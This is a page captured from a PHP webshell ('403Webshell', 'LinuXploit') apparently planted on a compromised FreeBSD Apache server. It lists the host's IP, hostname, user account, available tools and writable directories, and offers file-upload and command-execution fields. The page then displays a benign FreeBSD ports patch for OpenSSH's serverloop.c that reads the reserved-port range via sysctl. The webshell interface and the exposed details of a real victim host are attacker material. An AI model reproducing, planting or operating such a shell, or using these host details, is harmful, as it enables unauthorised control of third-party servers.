403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/openssh-portable/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/openssh-portable/files/patch-serverloop.c
------------------------------------------------------------------------
r181918 | des | 2008-08-20 05:40:07 -0500 (Wed, 20 Aug 2008) | 6 lines
Changed paths:
   M /head/crypto/openssh/readconf.c

Use net.inet.ip.portrange.reservedhigh instead of IPPORT_RESERVED.
Submitted upstream, no reaction.

Submitted by:   delphij
[rewritten for 7.4 by bdrewery]
[base removed this in 7.8 but it is still useful - bdrewery]

--- serverloop.c.orig	2020-09-27 00:25:01.000000000 -0700
+++ serverloop.c	2020-11-16 12:58:44.823775000 -0800
@@ -56,6 +56,8 @@
 #include <unistd.h>
 #include <stdarg.h>
 
+#include <sys/sysctl.h>
+
 #include "openbsd-compat/sys-queue.h"
 #include "xmalloc.h"
 #include "packet.h"
@@ -104,13 +106,27 @@ static void server_init_dispatch(struct ssh *);
 /* requested tunnel forwarding interface(s), shared with session.c */
 char *tun_fwd_ifnames = NULL;
 
+static int
+ipport_reserved(void)
+{
+#ifdef __FreeBSD__
+	int old;
+	size_t len = sizeof(old);
+
+	if (sysctlbyname("net.inet.ip.portrange.reservedhigh",
+	    &old, &len, NULL, 0) == 0)
+		return (old + 1);
+#endif
+	return (IPPORT_RESERVED);
+}
+
 /* returns 1 if bind to specified port by specified user is permitted */
 static int
 bind_permitted(int port, uid_t uid)
 {
 	if (use_privsep)
 		return 1; /* allow system to decide */
-	if (port < IPPORT_RESERVED && uid != 0)
+	if (port < ipport_reserved() && uid != 0)
 		return 0;
 	return 1;
 }

Youez - 2016 - github.com/yon3zu
LinuXploit